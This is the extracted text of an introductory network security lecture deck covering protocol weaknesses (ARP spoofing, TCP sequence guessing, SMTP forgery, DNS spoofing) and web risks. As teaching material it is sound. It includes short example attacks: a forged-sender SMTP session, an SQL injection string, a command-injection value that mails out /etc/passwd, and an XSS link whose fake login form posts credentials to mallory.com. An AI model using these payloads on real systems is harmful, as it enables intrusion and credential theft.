Introduction Outline TCPIP networking overview protocols and known

  • Slides: 42
Download presentation
Introduction

Introduction

Outline § TCP/IP networking overview § protocols and known vulnerabilities – – – ARP

Outline § TCP/IP networking overview § protocols and known vulnerabilities – – – ARP / ARP spoofing IP / eavesdropping, alteration, traffic analysis, etc. TCP / SYN attack Telnet, FTP / password sniffing SMTP / e-mail forgery, eavesdropping, alteration DNS / DNS spoofing § more known security problems – Web forms, cookies, and CGI scripts – mobile code (Java scripts, Java applets, and Active. X controls) – denial of service (Do. S) – exploiting bugs in software (buffer overflow problems) § outline of the course © Levente Buttyán 2

TCP/IP layering HTTP application … FTP DNS TCP/IP networking overview SMTP … SNMP transport

TCP/IP layering HTTP application … FTP DNS TCP/IP networking overview SMTP … SNMP transport UDP TCP IGMP ICMP IP ARP hardware interface media © Levente Buttyán network link RARP 3

An example end system HTTP client TCP TCP/IP networking overview HTTP server HTTP TCP

An example end system HTTP client TCP TCP/IP networking overview HTTP server HTTP TCP router IP Ethernet driver IP Ethernet protocol Ethernet © Levente Buttyán IP IP Ethernet driver token ring protocol IP token ring driver token ring 4

Encapsulation user data HTTP client HTTP hdr TCP/IP networking overview TCP hdr IP IP

Encapsulation user data HTTP client HTTP hdr TCP/IP networking overview TCP hdr IP IP hdr Ethernet driver Eth. hdr tr. Ethernet © Levente Buttyán 5

Demultiplexing HTTP FTP … DNS SNMP SMTP TCP/IP networking overview … TCP UDP IGMP

Demultiplexing HTTP FTP … DNS SNMP SMTP TCP/IP networking overview … TCP UDP IGMP ICMP IP demuxing based on the port number in the TCP or UDP header demuxing based on the protocol id in the IP header RARP Ethernet driver © Levente Buttyán demuxing based on frame type in the Ethernet header 6

Names and addresses § IP addresses TCP/IP networking overview – every interface has a

Names and addresses § IP addresses TCP/IP networking overview – every interface has a unique IP address – 32 bits long, usually given in dotted decimal notation – 5 classes: • • • class A: “ 0” + 7 bits net ID + 24 bits host ID class B: “ 10” + 14 bits net ID + 16 bits host ID class C: “ 110” + 21 bits net ID + 8 bits host ID class D: “ 1110” + 28 bits multicast group ID class E: starts with “ 11110”, reserved for future use – subnet addressing (CIDR - classless Internet domain routing) • host ID portion is divided into a subnet ID and a host ID • e. g. , class B address: “ 10” + 14 bit net ID + 8 bit subnet ID + 8 bit host ID àhierarchical addressing © Levente Buttyán 7

Names and addresses TCP/IP networking overview § hardware address (MAC addresses) – every interface

Names and addresses TCP/IP networking overview § hardware address (MAC addresses) – every interface has a unique and fixed hardware address too – it is used by the data link layer – in case of Ethernet, it is 48 bits long – mapping between IP addresses and MAC addresses are done by ARP § host names – human readable, hierarchical names, such as www. hit. bme. hu – every host may have several names – mapping between names and IP addresses is done by the Domain Name System (DNS) © Levente Buttyán 8

ARP – Address Resolution Protocol § mapping from IP addresses to MAC addresses Request

ARP – Address Resolution Protocol § mapping from IP addresses to MAC addresses Request Protocols and vulnerabilities . 1 08: 00: 20: 03: F 6: 42. 2 . 3 . 4 00: C 2: 9 B: 26. 5 140. 252. 13 arp req | target IP: 140. 252. 13. 5 | target eth: ? Reply. 1 08: 00: 20: 03: F 6: 42. 2 . 3 . 4 00: C 2: 9 B: 26. 5 140. 252. 13 arp rep | sender IP: 140. 252. 13. 5 | sender eth: 00: C 2: 9 B: 26 © Levente Buttyán 9

ARP spoofing § an ARP request can be responded by another host Request Protocols

ARP spoofing § an ARP request can be responded by another host Request Protocols and vulnerabilities . 1 08: 00: 20: 03: F 6: 42. 2 . 3 . 4 00: C 2: 9 B: 26. 5 140. 252. 13 arp req | target IP: 140. 252. 13. 5 | target eth: ? Reply. 1 08: 00: 20: 03: F 6: 42. 2 . 3 00: 34: CD: C 2: 9 F: A 0 00: C 2: 9 B: 26. 4. 5 140. 252. 13 arp rep | sender IP: 140. 252. 13. 5 | sender eth: 00: 34: CD: C 2: 9 F: A 0 © Levente Buttyán 10

Protocols and vulnerabilities IP – Internet Protocol § provides an unreliable, connectionless datagram delivery

Protocols and vulnerabilities IP – Internet Protocol § provides an unreliable, connectionless datagram delivery service to the upper layers § its main function is routing § it is implemented in both end systems and intermediate systems (routers) § routers maintain routing tables that define the next hop router towards a given destination (host or network) § IP routing uses the routing table and the information in the IP header (e. g. , the destination IP address) to route a packet © Levente Buttyán 11

IP security problems § user data in IP packets is not protected in any

IP security problems § user data in IP packets is not protected in any way – anyone who has access to a router can read and modify the user data in the packets § IP packets are not authenticated Protocols and vulnerabilities – it is fairly easy to generate an IP packet with an arbitrary source IP address § traffic analysis – even if user data was encrypted, one could easily determine who is communicating with whom by just observing the addressing information in the IP headers § information exchanged between routers to maintain their routing tables is not authenticated – correct routing table updates can be modified or fake ones can be disseminated – this may screw up routing completely leading to loops or partitions – it may also facilitate eavesdropping, modification, and monitoring 12 Levente of traffic © Buttyán

TCP – Transmission Control Protocols and vulnerabilities § provides a connection oriented, reliable, byte

TCP – Transmission Control Protocols and vulnerabilities § provides a connection oriented, reliable, byte stream service to the upper layers § connection oriented: – connection establishment phase prior to data transfer – state information (sequence numbers, window size, etc. ) is maintained at both ends § reliable: – positive acknowledgement scheme (unacknowledged bytes are retransmitted after a timeout) – checksum on both header and data – reordering of segments that are out of order – detection of duplicate segments – flow control (sliding window mechanism) © Levente Buttyán 13

TCP connection establishment 3 way handshake client SYN = ISNC SYN = ISNS, ACK(ISNC)

TCP connection establishment 3 way handshake client SYN = ISNC SYN = ISNS, ACK(ISNC) server ISN – Initial Sequence Number Protocols and vulnerabilities ACK(ISNS) data transfer – sequence numbers are 32 bits long – the sequence number in a data segment identifies the first byte in the segment – sequence numbers are initialized with a “random” value during connection setup – the RFC suggests that the ISN is incremented by one at least every 4 ms © Levente Buttyán 14

TCP SYN attack § in Berkeley implementations, the ISN is incremented by a constant

TCP SYN attack § in Berkeley implementations, the ISN is incremented by a constant amount (64000) Protocols and vulnerabilities – once per 0. 5 second, and – each time a connection is initiated § it is not hopeless to guess the next ISN to be used by a server § an attacker can impersonate a trusted host (e. g. , in case of r commands, authentication is based on source IP address solely) attacker SYN = ISNX, SRC_IP = T server trusted host (T) SYN = ISNS, ACK(ISNX) ACK(ISNS), SRC_IP = T, nasty_data © Levente Buttyán 15

TCP SYN attack – How to guess ISNS? server attacker SYN = ISN X

TCP SYN attack – How to guess ISNS? server attacker SYN = ISN X SN ) , ACK(I X SN S SYN = I Protocols and vulnerabilities SYN = IS Dt NX ’, SRC _IP = T ACK(ISN S ’), SRC_IP SYN = IS NS ’, ACK (ISN ) X =T ISNS’ depends on ISNS and Dt Dt can be estimated from the round trip time assume Dt can be estimated with 10 ms precision the attacker has an uncertainty of 1280 in the possible value for ISNS’ – assume each trial takes 5 s – the attacker has a reasonable likelihood of succeeding in 6400 s and a near-certainty within one day – – © Levente Buttyán 16

FTP – File Transfer Protocol client user interface user Protocols and vulnerabilities server protocol

FTP – File Transfer Protocol client user interface user Protocols and vulnerabilities server protocol interpreter data transfer function file system © Levente Buttyán control connection (FTP commands and replies) protocol interpreter data connection data transfer function file system 17

FTP cont’d § typical FTP commands: – – – RETR filename – retrieve (get)

FTP cont’d § typical FTP commands: – – – RETR filename – retrieve (get) a file from the server STOR filename – store (put) a file on the server TYPE type – specify file type (e. g. , A for ASCII) USER username – username on server PASS password – password on server Protocols and vulnerabilities § FTP is a text (ASCII) based protocol server client % ftp. epfl. ch <TCP connection setup to port 21 of ftp. epfl. ch> “ 220 ftp. epfl. ch FTP server (version 5. 60) ready. ” Connected to ftp. epfl. ch. Name: buttyan “USER buttyan” “ 331 Password required for user buttyan. ” Password: kiskacsa “PASS kiskacsa” “ 230 User buttyan logged in. ” … © Levente Buttyán 18

Protocols and vulnerabilities Telnet § provides remote login service to users § works between

Protocols and vulnerabilities Telnet § provides remote login service to users § works between hosts that use different operating systems § uses option negotiation between client and server to determine what features are supported by both ends Telnet client kernel Telnet server login shell kernel terminal driver TCP/IP pseudoterminal driver TCP connection user © Levente Buttyán 19

Telnet cont’d § Telnet session example (“character at a time” mode) server client %

Telnet cont’d § Telnet session example (“character at a time” mode) server client % telnet ahost. epfl. ch Connected to ahost. epfl. ch. Escape character is ‘^]’. <TCP connection setup to port 23 of ahost. epfl. ch> <Telnet option negotiation> Protocols and vulnerabilities “UNIX(r) System V Release 4. 0” “Login: ” Login: bu “b” “u” … Login: buttyan “n” “Password: ” Password: k “k” … Password: kiskacsa “a” <OS greetings and shell prompt, e. g. , “%”> © Levente Buttyán … 20

SMTP – Simple Mail Transfer Protocol sending host user agent mails to be sent

SMTP – Simple Mail Transfer Protocol sending host user agent mails to be sent user Protocols and vulnerabilities local MTA SMTP relay MTA TCP connection SMTP TCP port 25 relay MTA SMTP receiving host local MTA user agent user © Levente Buttyán SMTP relay MTA user mailbox 21

SMTP cont’d § SMTP is used by MTAs to talk to each other §

SMTP cont’d § SMTP is used by MTAs to talk to each other § SMTP is a text (ASCII) based protocol sending MTA (rivest. hit. bme. hu) receiving MTA (shamir. hit. bme. hu) <TCP connection establishment to port 25> Protocols and vulnerabilities “HELO rivest. hit. bme. hu. ” “ 250 shamir. hit. bme. hu Hello rivest. hit. bme. hu. , pleased to meet you” “MAIL from: buttyan@rivest. hit. bme. hu” “ 250 buttyan@rivest. hit. bme. hu. . . Sender ok” “RCPT to: hubaux@lca. epfl. ch” “ 250 hubaux@lca. epfl. ch… Recipient ok” “DATA” “ 354 Enter mail, end with a “. ” on a line by itself” <message to be sent>. “ 250 Mail accepted” “QUIT” “ 221 shamir. hit. bme. hu delivering mail” © Levente Buttyán 22

SMTP security problems § SMTP does not provide any protection of e-mail messages –

SMTP security problems § SMTP does not provide any protection of e-mail messages – messages can be read and modified by any of the MTAs involved – fake messages can easily be generated (e-mail forgery) Protocols and vulnerabilities § Example: % telnet frogstar. hit. bme. hu 25 Trying. . . Connected to frogstar. hit. bme. hu. Escape character is ‘^[’. 220 frogstar. hit. bme. hu ESMTP Sendmail 8. 11. 6/8. 11. 6; Mon, 10 Feb 2003 14: 23: 21 +0100 helo abcd. bme. hu 250 frogstar. hit. bme. hu Hello [152. 66. 249. 32], pleased to meet you mail from: bill. gates@microsoft. com 250 2. 1. 0 bill. gates@microsoft. com. . . Sender ok rcpt to: buttyan@ebizlab. hit. bme. hu 250 2. 1. 5 buttyan@ebizlab. hit. bme. hu. . . Recipient ok data 354 Enter mail, end with ". " on a line by itself Your fake message goes here. . 250 2. 0. 0 h 1 ADO 5 e 21330 Message accepted for delivery quit 221 frogstar. hit. bme. hu closing connection Connection closed by foreign host. % © Levente Buttyán 23

Protocols and vulnerabilities Be careful, though! Return-Path: <bill. gates@microsoft. com > Received: from frogstar.

Protocols and vulnerabilities Be careful, though! Return-Path: <bill. gates@microsoft. com > Received: from frogstar. hit. bme. hu (root@frogstar. hit. bme. hu [152. 66. 248. 44]) by shamir. ebizlab. hit. bme. hu (8. 12. 7/Debian-2) with ESMTP id h 1 ADSsx. G 022719 for <buttyan@ebizlab. hit. bme. hu >; Mon, 10 Feb 2003 14: 28: 54 +0100 Received: from abcd. bme. hu ([152. 66. 249. 32]) by frogstar. hit. bme. hu (8. 11. 6/8. 11. 6) with SMTP id h 1 ADO 5 e 21330 for buttyan@ebizlab. hit. bme. hu ; Mon, 10 Feb 2003 14: 25: 41 +0100 Date: Mon, 10 Feb 2003 14: 25: 41 +0100 From: bill. gates@microsoft. com Message-Id: <200302101325. h 1 ADO 5 e 21330@frogstar. hit. bme. hu> To: undisclosed-recipients: ; X-Virus-Scanned: by amavis-dc Status: Your fake message goes here. © Levente Buttyán 24

DNS – Domain Name System Protocols and vulnerabilities § The DNS is a distributed

DNS – Domain Name System Protocols and vulnerabilities § The DNS is a distributed database that provides mapping between hostnames and IP addresses § the DNS name space is hierarchical – top level domains: com, edu, gov, int, mil, net, org, ae, …, hu, … zw – top level domains may contain second level domains e. g. , bme within hu, epfl within ch, … – second level domains may contain third level domains, etc. § each domain has name servers – usually (not always) a name server knows the IP address of the top level name servers – if a domain contains sub-domains, then the name server knows the IP address of the sub-domain name servers – when a new host is added to a domain, the administrator adds the (hostname, IP address) mapping to the database 25 © Levente of the local name server Buttyán

DNS cont’d frogstar. hit. bme. hu = ? Protocols and vulnerabilities application 152. 66.

DNS cont’d frogstar. hit. bme. hu = ? Protocols and vulnerabilities application 152. 66. 248. 44 local name srv frogstar. hit. bme. hu = ? top level IP of ns in hu name srv frogst ar. hit. bme. h u=? IP of ns in IP bme. h name srv of u ns in hu in 15 h it. b 2. 66 me. 2. hu 48 name srv. 4 4 in bme. hu name srv in hit. bme. hu – a single DNS reply may include several (hostname, IP address) mappings (Resource Records) – received information is cached by the name server © Levente Buttyán 26

DNS spoofing Protocols and vulnerabilities § the cache of a DNS name server is

DNS spoofing Protocols and vulnerabilities § the cache of a DNS name server is poisoned with false information § how to do it? – assume that the attacker wants www. anything. hu to map to his own IP address 152. 66. 249. 32 – approach 1: • attacker submits a DNS query “www. anything. hu=? ” to ns. victim. hu • a bit later it forges a DNS reply “www. anything. hu=152. 66. 249. 32” • UDP makes forging easier but the attacker must still predict the query ID – approach 2 (attacker has access to ns. attacker. hu): © Levente Buttyán • the attacker modifies its local name server such that it responds a query “www. attacker. hu=? ” with “www. anything. hu=152. 66. 249. 32” • the attacker then submits a query “www. attacker. hu=? ” to 27

Web security – Browser side risks § obtaining a valid browser Web security problems

Web security – Browser side risks § obtaining a valid browser Web security problems – IE usually comes with the OS – Netscape can be obtained from web sites – How can you be sure that you are downloading a genuine copy? (remember DNS spoofing) – a fake browser can look like a genuine one, but it can • obtain and send passwords typed in by the user • downgrade browser security (e. g. , reduce key length used in SSL) • … § web forms – used to send data from the user to the server (e. g. , online applications, queries to a database, etc. ) – if pure HTTP is used, then the data is sent in clear – sensitive information can be eavesdropped and/or 28 Levente modified © Buttyán

Browser side risks cont’d Web security problems § helper applications – the browser cannot

Browser side risks cont’d Web security problems § helper applications – the browser cannot handle all kind of downloaded data – it invokes an external program (the helper) on the user’s machine with the downloaded data as parameter – e. g. , to display a Post. Script file, it may pass it to Ghost. View – downloaded content can be dangerous (e. g. , MS Word and Excel files may contain macro viruses) § mobile code – Java applets © Levente Buttyán • normally run within a controlled environment (sandbox) • access to local resources is strictly controlled by a security manager • however, an applet may escape from the sandbox due to some bugs in the implementation of the Java Virtual Machine • several such bugs have been discovered, reported, and fixed 29 • what guarantees that there’s no more?

Browser side risks cont’d § mobile code (cont’d) – Active. X controls Web security

Browser side risks cont’d § mobile code (cont’d) – Active. X controls Web security problems • a Microsoft approach to mobile code • Active. X controls are executables that run directly on the machine (there’s no sandbox) • Active. X controls can be signed and declared safe by their creators • but an Active. X control declared safe may turn out to be dangerous – Compaq signed a control safe which allowed for remote management of servers – Microsoft signed a control which could write arbitrary file on the hard disk (it was exploited by a virus Kak. Worm) – Java. Script != Java applet • scripts are interpreted by the browser itself • not as powerful as Java (e. g. , many attacks require that the user clicks on a button to activate the malicious code) • successful attacks reported include history tracking, stealing files, helping Java applets to bypass firewalls, etc. © Levente Buttyán 30

Browser side risks cont’d Web security problems § cookies – a cookie is a

Browser side risks cont’d Web security problems § cookies – a cookie is a (name, value) pair – cookies are set by web servers and stored by web browsers – a cookie set by a server is sent back to the server when the browser visits the server again – used to create “HTTP sessions” (session state information is stored in cookies) – example: client server get index. html content of index. html + set-cookie: session. ID=123456789 get nextlink. html + cookie: session. ID=123456789 … © Levente Buttyán 31

Browser side risks cont’d § cookies (cont’d) Web security problems – if cookies are

Browser side risks cont’d § cookies (cont’d) Web security problems – if cookies are sent in clear, then they can be eavesdropped and used to hijack an “HTTP session” – cookies can be used to track what sites the user visits (can lead to serious privacy violation!) • many sites use third party advertisements • the third party can set a cookie that identifies the user • this cookie is sent to the third party each time an ad is downloaded by the user’s browser along with the address of the page that contains the link to the ad (the “referrer” field of the HTTP header contains this address) whatever. com index. html browser get ad_server. asp + referrer=“whatever. com/index. html” + cookie: user=123456789 © Levente Buttyán <html> … <img src=“http: //thirdparty. com/ad_server. asp”> … </html> thirdparty. com 32

Browser side risks cont’d § http: //www. musicvision. com/network_privacy_polic y. html Web security problems

Browser side risks cont’d § http: //www. musicvision. com/network_privacy_polic y. html Web security problems Third Party Advertising We use Maxworldwide and other third-party advertising companies to serve ads when you visit our Web site. These companies may use information (not including your name, address, email address or telephone number) about your visits to this and other Web sites in order to provide advertisements on this site and other sites about goods and services that may be of interest to you. If you would like more information about this practice and to know your choices about not having this information used by these companies, please click here Third Party Cookies In the course of serving advertisements to this site, our third-party advertiser may place or recognize a unique "cookie" on your browser. © Levente Buttyán 33

Web security – Server side risks Web security problems § interactive web sites are

Web security – Server side risks Web security problems § interactive web sites are based on forms and scripts – forms are written in html – the user fills the form and clicks on a button to submit it – this creates a request to the server that contains the data typed in by the user – the request launches a script on the server that processes the data supplied by the user (may return a page that is created using the supplied data) § unexpected user input may have unexpected effects – special characters – too much data (may cause buffer overflow) § at best, the server crashes § at worst, the attacker gains control over the server © Levente Buttyán 34

Server side risks cont’d § an example: password based user authentication – assume the

Server side risks cont’d § an example: password based user authentication – assume the following server side script is used to check the supplied username and password: Web security problems query$ = ‘SELECT name, pass FROM database WHERE name = “ ’ + name$ + ‘ ” AND pass = “ ’ + pass$ + ‘ ” ’ Result = SQLquery(query$) if Result <> 0 then OK – with name$ = buttyan and pass$ = kiskacsa SELECT name, pass FROM database WHERE name = “buttyan” AND pass = “kiskacsa” – with name$ = buttyan” OR TRUE OR name = “ and pass$ = kiskacsa SELECT name, pass FROM database WHERE name = “buttyan” OR TRUE OR name = “” AND pass = “kiskacsa” © Levente Buttyán 35

Server side risks cont’d § another example: the user can type her e-mail address

Server side risks cont’d § another example: the user can type her e-mail address in a form and the server sends her the latest public company report – assume the following perl script is used on the server system(“sendmail $address < report. doc”); – with $address = buttyan@hit. bme. hu Web security problems system(“sendmail buttyan@hit. bme. hu < report. doc”); – with $address = buttyan@hit. bme. hu < /etc/passwd | sendmail buttyan@hit. bme. hu system(“sendmail buttyan@hit. bme. hu < /etc/passwd | sendmail buttyan@hit. bme. hu < report. doc”); © Levente Buttyán 36

Server side risks cont’d Web security problems § Buffer overflow attacks – if the

Server side risks cont’d Web security problems § Buffer overflow attacks – if the program doesn’t verify that the supplied data fits in the allocated space, then it may overwrite some parts of the memory, which may contain data, instructions, or addresses – by carefully analyzing the program structure one can provide machine code as part of the supplied data that will be executed by the server – many attacks use buffer overflow bugs (e. g. , infamous Internet Worm by Morris used a buffer overflow bug in the sendmail program) § Format string attack – printf(“%s”, str); -- correct. – printf(str); -- will compile, but dangerous! • str will be interpreted as a format string © Levente Buttyán 37

Cross site scripting § the attacker arranges that the victim receives a malicious script

Cross site scripting § the attacker arranges that the victim receives a malicious script from a trusted server § example: Web security problems – Mallory places the script in the “guest book” of Bob – Alice visits the “guest book” of Bob – her browser downloads and runs Mallory’s script © Levente Buttyán 38

CSS cont’d § another example – when requesting a non-existent file abcd. html from

CSS cont’d § another example – when requesting a non-existent file abcd. html from some web servers, they return error messages like: “The requested file abcd. html cannot be found on the server. ” Web security problems – Mallory can place the following link on a page: < a href=“http: //trusted. server. com/is protected. The server needs you to login. <form action=" http: //mallory. com/cgiscript. cgi" method=" post" >Username: <input type=" text" name=" name" > Password: <input type=" password" name=" pass" > <input type=" submit" value=" Login" ></form> ” > – what will happen? • Alice clicks on the link • HTTP request is sent to trusted. server. com • the server returns the usual error page, but it will look like a login window. . . © Levente Buttyán 39

CSS cont’d The requested file is protected. The server needs you to log in.

CSS cont’d The requested file is protected. The server needs you to log in. Username: Password: Web security problems Login browser window cannot be found on the server. © Levente Buttyán 40

Conclusion § there are many more vulnerabilities and attacks Auto Coordinated © 2002 by

Conclusion § there are many more vulnerabilities and attacks Auto Coordinated © 2002 by Carnegie Mellon University http: //www. cert. org/archive/ppt/cyberterror. ppt Cross site scripting “stealth” / advanced scanning techniques High packet spoofing sniffers Intruder Knowledge sweepers Tools Staged distributed www attack tools attacks automated probes/scans denial of service GUI back doors disabling audits network mgmt. diagnostics hijacking burglaries sessions exploiting known vulnerabilities Attack Sophistication password cracking self-replicating code Intruders password guessing Low 1980 1985 1990 1995 2000 § some of these cannot be prevented by technical means, but only with careful procedures and education of people § this course will focus on technical countermeasures © Levente Buttyán 41

Course outline § § § § brief introduction to cryptography e-mail security: PGP, S/MIME

Course outline § § § § brief introduction to cryptography e-mail security: PGP, S/MIME secure remote access: SSH the Secure Socket Layer (SSL) network layer security: IPSec (AH, ESP, IKE) link layer security: L 2 TP e-commerce security: SET, e-cash, micropayments privacy protection: Onion routing, Crowds Java security DNS security firewalls and intrusion detection systems Wi-Fi security (IEEE 802. 11 wireless LAN) peer-to-peer security © Levente Buttyán 42